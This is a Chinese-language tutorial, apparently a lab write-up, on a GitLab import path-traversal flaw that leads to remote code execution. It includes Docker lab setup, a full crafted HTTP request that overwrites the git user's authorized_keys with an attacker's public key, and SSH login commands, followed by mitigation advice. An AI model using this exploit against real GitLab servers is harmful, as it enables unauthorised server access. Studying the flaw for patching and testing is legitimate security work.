Gitlab远程代码执行漏洞
字数 1292 2025-08-10 23:41:58
GitLab远程代码执行漏洞分析与利用教学
漏洞概述
本漏洞是GitLab中的一个高危安全漏洞,允许攻击者通过目录遍历和任意文件写入实现远程代码执行。漏洞存在于GitLab的导入功能中,影响范围较广。
影响版本
- GitLab CE and EE 8.9.0 - 9.5.10
- GitLab CE and EE 10.0.0 - 10.1.5
漏洞原理
漏洞位置
漏洞位于app/services/projects/gitlab_project_import_service.rb文件中,具体在GitlabProjectsImportService类的实现中。
漏洞成因
- 未过滤的路径参数:
import_upload_path方法将未经过滤的params[:path]参数直接拼接到GitLab上传目录路径中 - 目录遍历:由于路径参数未过滤,攻击者可以通过
../等方式实现目录遍历 - 任意文件写入:文件内容没有限制,导致可以写入任意内容到任意位置
利用方式
通过覆盖/var/opt/gitlab/.ssh/authorized_keys文件,写入攻击者的公钥,从而以git用户身份SSH登录服务器。
环境搭建
使用Docker搭建漏洞环境
docker run -d --name gitlab -p 80:80 -p 443:443 -p 2222:22 gitlab/gitlab-ce:10.2.4-ce.0
配置GitLab
- 进入容器:
docker exec -it gitlab /bin/bash
- 修改配置文件:
nano /etc/gitlab/gitlab.rb
取消注释并修改external_url为你的IP地址:
external_url '192.168.1.100'
- 重新加载配置:
gitlab-ctl reconfigure
- 访问
http://192.168.1.100/,首次访问需要设置密码并创建用户
漏洞利用步骤
准备工作
- 生成SSH密钥对(用于攻击):
ssh-keygen
这将生成id_rsa(私钥)和id_rsa.pub(公钥)
利用过程
- 登录GitLab
- 创建项目 -> Import project -> GitLab Import -> 选择文件
- URL应为:
ip+/import/gitlab_project/new?namespace_id=2&path= - 选择前面生成的公钥文件(
id_rsa.pub) - 点击"Import project"时拦截请求(使用Burp Suite等工具)
- 修改
path参数值为:ssh/var/opt/gitlab/.ssh/authorized_keys
请求示例
POST /import/gitlab_project HTTP/1.1
Host: 192.168.1.100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=20787582420424
Content-Length: 1214
Referer: http://192.168.1.100/import/gitlab_project/new?namespace_id=2&path=
Cookie: _gitlab_session=9c5f21dbfe98d90b1d992e1c9907584c; sidebar_collapsed=false
Connection: close
Upgrade-Insecure-Requests: 1
--20787582420424
Content-Disposition: form-data; name="utf8"
✓
--20787582420424
Content-Disposition: form-data; name="authenticity_token"
JoWtToPxTJL6RVASaprnR1hRqEGARnbLkA06favQLxQ7Y7YtyqfE9+JsbV/NAwy7XAdTuzgRsxJ/Kl1hH9V6xA=
--20787582420424
Content-Disposition: form-data; name="namespace_id"
{:value=>2}
--20787582420424
Content-Disposition: form-data; name="path"
ssh/var/opt/gitlab/.ssh/authorized_keys
--20787582420424
Content-Disposition: form-data; name="namespace_id"
2
--20787582420424
Content-Disposition: form-data; name="file"; filename="id_rsa.pub"
Content-Type: application/vnd.ms-publisher
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+McaRvLdnm+u30cACV4ftHJUESNVNV/VNlwm5xST343cFQODjBua5ffpCgDIejiVhyz9BzMmmynN5tnN6JQlx4SwSGkuR3+wzbJ8XKJNHLpOeZ2Xzw+UA9duDinDQHUklFwDmjH7Pywy6kRurIWXTsdupkLrHobEjSjrwEkqvLUnRi1EA/nU5es+kEz6c04jDUrZoGaj5GiI7VYReX+d9Pm524H9KfBpFIZ27yaWs1lR9b+dXjbXnUdysKdWTQcwy1tv+xhEbwF9m/PQajAEPPl95u/qrGPMqT0l08dC6H9o50i9Yn0Yf3t946g4QjGBs+GZgaNoLda8d5U5S8XLz BF@DESKTOP-4UM7GF4
--20787582420424--
验证利用
使用生成的私钥以git用户身份SSH登录服务器:
ssh -i id_rsa git@192.168.1.100 -p 2222
成功登录后可以执行命令验证:
id
预期输出:
uid=998(git) gid=998(git) groups=998(git)
常见问题解决
- 版本确认:首先访问
ip+/help确认GitLab版本是否在受影响范围内 - 路径问题:如果目标服务器更改了默认的git用户目录,需要修改
path参数为对应的用户目录 - 权限问题:确保攻击账户有
import project的权限
安全建议
- 升级GitLab:及时升级到安全版本
- 权限控制:严格控制具有导入项目权限的用户
- 监控措施:监控对
authorized_keys文件的修改 - 生产环境警告:此漏洞利用会覆盖原git用户的
authorized_keys文件,在生产环境测试需谨慎